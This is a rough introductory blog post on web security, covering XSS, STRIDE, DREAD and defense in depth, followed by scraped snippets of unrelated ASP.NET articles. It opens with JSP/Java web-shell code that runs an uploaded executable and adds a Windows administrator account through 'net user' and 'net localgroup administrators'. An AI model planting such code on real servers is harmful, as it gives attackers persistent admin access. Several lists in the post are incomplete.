Talk In Web Security(安全世界观): Devleping a Secure WebSite

Why to write about Web Security?

A java file can hack your server.One JSP can download any file. How to do this?
  1. Write a JSP and upload to the server.
  2. Use JSP to download any bug by HttpClient. 
  3. Open the virus and get/add the infomation of admin or datas
We can see some from what I write.Its easy but useful:


1

2

3

4

5

6

7

8

9

10

11

<font size="4" face="宋体"> if(!IsWindows())

                {

                    Process process = Runtime.getRuntime().exec("chmod 777 "+strExeFile);

                     

                    if (process.waitFor() != 0)

                        out.println("FAIL ---> when open file");

                }

                 

                Process process = Runtime.getRuntime().exec(strExeFile);

                if (process.waitFor() == 0)

                    out.println("SUCCESS ---> When open the file");</font>

Use Java to open the bug.And then get an administrator user.


1

2

3

4

5

6

7

8

9

10

11

12

if(IsWindows())

{

    String execStr = "cmd.exe /C " + "net user " + strAcc + " " + strPwd + " /add";

    Process process = Runtime.getRuntime().exec(execStr);  

     

    if (process.waitFor() == 0)

    {

        Runtime.getRuntime().exec("cmd.exe /C " + "net localgroup administrators " + strAcc + " /add");

    }

    else

        out.print("FAIL ---> when " + execStr);

}

Its about how to use java to get add an administrator user.

Here are some injections that we can see anywhere.So we need Learn the Web Security. First we can learn from the Web history.

 

Some of Web Security needed to know

Since the environment getting worse,like Haze.So many persons wear Masks when going out.Just like the way to protect ourselves ,we trust the Masks. Its the same as web security.

  Note:’Web Security is based on the trust,every way to design on Web Security is also based on the trusts.’

Many web attacks like Haze:
  1. XSS

  2. CRLF Injection

  3. X-PATH Injection

  4. HTML Injection

  5. JavaScript Injection

 

XSS Development

 

So there is a question:’How to analysis the web security of software or project?’

 

 

STRIDE (security) DREAD by Microsoft

STRIDE

STRIDE is a system developed by Microsoft for thinking about computer security threats.The threat categories are:
  1. Spoofing of user identity

  2. Tampering

  3. Repudiation

  4. Infomation disclosure

  5. Denial of Service

  6. Elevation of privilege

 

DREAD

The problem with a simplistic rating system is that team members
usually will not agree on ratings. To help solve this, add new
dimensions that help determine what the impact of a security threat
really means. At Microsoft, the DREAD model is used to help calculate
risk. By using the DREAD model, you arrive at the risk rating for a
given threat by asking the following questions:

  1. Damage potential: How great is the damage if the vulnerability is exploited?

  2. Reproducibility: How easy is it to reproduce the attack?

  3. Exploitability: How easy is it to launch an attack?

  4. Affected users: As a rough percentage, how many users are affected?

  5. Discoverability: How easy is it to find the vulnerability?

 

So after these categories,a good way to design on Web Security has some features:

  1. Solve problem in effect

  2. Good experience for users

  3. Low coupling

  4. Easy to extend and upgrade

How to Devlep a Secure WebSite

  Note: ‘ Security is a normal subject and a poised art.’

1. Secure By Default

  Its also the security of users.We can create The White List and The Black List and limits of user operation.

2. Defense in Depth

  Defense in Depth is a crucial model for implementing effective
information security. The details of such a diverse model are what make
it successful, I have put together a series of eight webcasts on this
topic. Here are 7 levels:

 

3. Quarantine between Data and Demo

4. Uncertainly of unpredictability

  The paramters may be easy to guess.So let them be hard to guess.

 

Think in Web Security

Like a bucket of water, we trust the bucket and water.Its the Security.When the bucket has the chemistry-poison,the security will be broken.
Note:‘Open Free Share’

G night~

时间: 2024-11-30 08:29:49

Talk In Web Security(安全世界观): Devleping a Secure WebSite的相关文章

CacheGuard Web Security Gateway 5.7.6发布 一体化OS设备

CacheGuard Appliance 是一个Web安全网关的一体化OS设备,提供了防火墙.网络防病毒.缓存.压缩.URL过滤.代理服务器.内容过滤.带宽分配.http://www.aliyun.com/zixun/aggregation/13996.html">负载均衡.反向和正向代理.高可用性.Web应用防火墙和URL守护等功能. CacheGuard Web Security Gateway 5.7.6该版本添加一个新的订阅验证模块到系统中. 软件信息:http://www.cac

如何配置Web.config文件 for ASP.NET

一.认识Web.config文件   Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中.当你通过VB.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的  Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置.如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件.它可以提供除

认识Web.config文件

一.认识Web.config文件 Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中.当你通过VB.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的 Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置.如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件.它可以提供除从父目

浅析Asp.net中的Web.config文件

asp.net|web 一.认识Web.config文件 Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中.当你通过VB.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置.如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文

Asp.net的安全认证及Web.config的配置

asp.net|web|安全 (1)在Web.config的配置       在<system.web>中修改选项     验证模式设为Form,并且验证页为      <authentication mode="Forms">        <forms loginUrl="Login.aspx" />      </authentication>     不允许匿名用户      <authorization

ASP.NET学习:认识Web.config文件

asp.net|web  内容来源于网络. 摘要:本文讲述Web.config文件的基本原理及相关设置. 本页内容: 认识Web.config文件 Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中.当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配

ASP.NET2.0:Ilungasoft.Framework.Web之基于Callback的无刷新上传进度条控件[带源码]

asp.net|web|控件|上传|刷新|无刷新 共享一个基于Callback的无刷新上传进度条控件的源码.本控件使用的HttpMoudule基于宝玉的一个上传进度条的sample,这里封装为一个控件,方便使用.无需任何代码,只需设置web.config,添加HttpModule的引用,再将控件拖到页面就行.页面中的文件保存操作和传统的asp.net文件上传完全一样.可以设置属性上传过程中出错或上传成功时跳转到其它页面.兼容IE,Firefox,Opera.其它环境没测试,不过因为是基于Asp.

在ASP.NET2.0中的WEB.CONFIG文件中调用外部文件

asp.net|web 在一个工作项目或者工作小组中,有可能经常要转换工作的调试环境,比如开发环境,测试环境,部署环境,这样有可能要对web.config文件进行修改或改动,比如要改数据库的连接字符串,角色配置,安全配置环境等,一不小心,很容易会发生遗漏等错误.在asp.net 2.0的web.config文件中,新加入了可以引入外部文件的新特性,使到我们可以先预先搞好几个文件,比如将经常要改动的部分,如数据库连接串部分等,按不同的开发环境,分别写成若干个xml文件,然后在web.config中

ASP.NET+Atlas创建客户端Web应用程序

asp.net|web|程序|创建|客户端 提要 本文介绍了Atlas框架,并探讨它的客户端和服务器端类库及其编程模型.另外,本文还详细剖析了一个支持Atlas功能的示例Web应用程序. 一. 开发环境说明 本文中所提供的信息适用于下列技术:Asp.net 2.0,Asp.net Atlas CTP,Visual Studio Professional 2005和Visual Web Developer 2005. 二. 简介 Atlas是一个框架的代号,该框架对于客户端Web应用程序的开发方面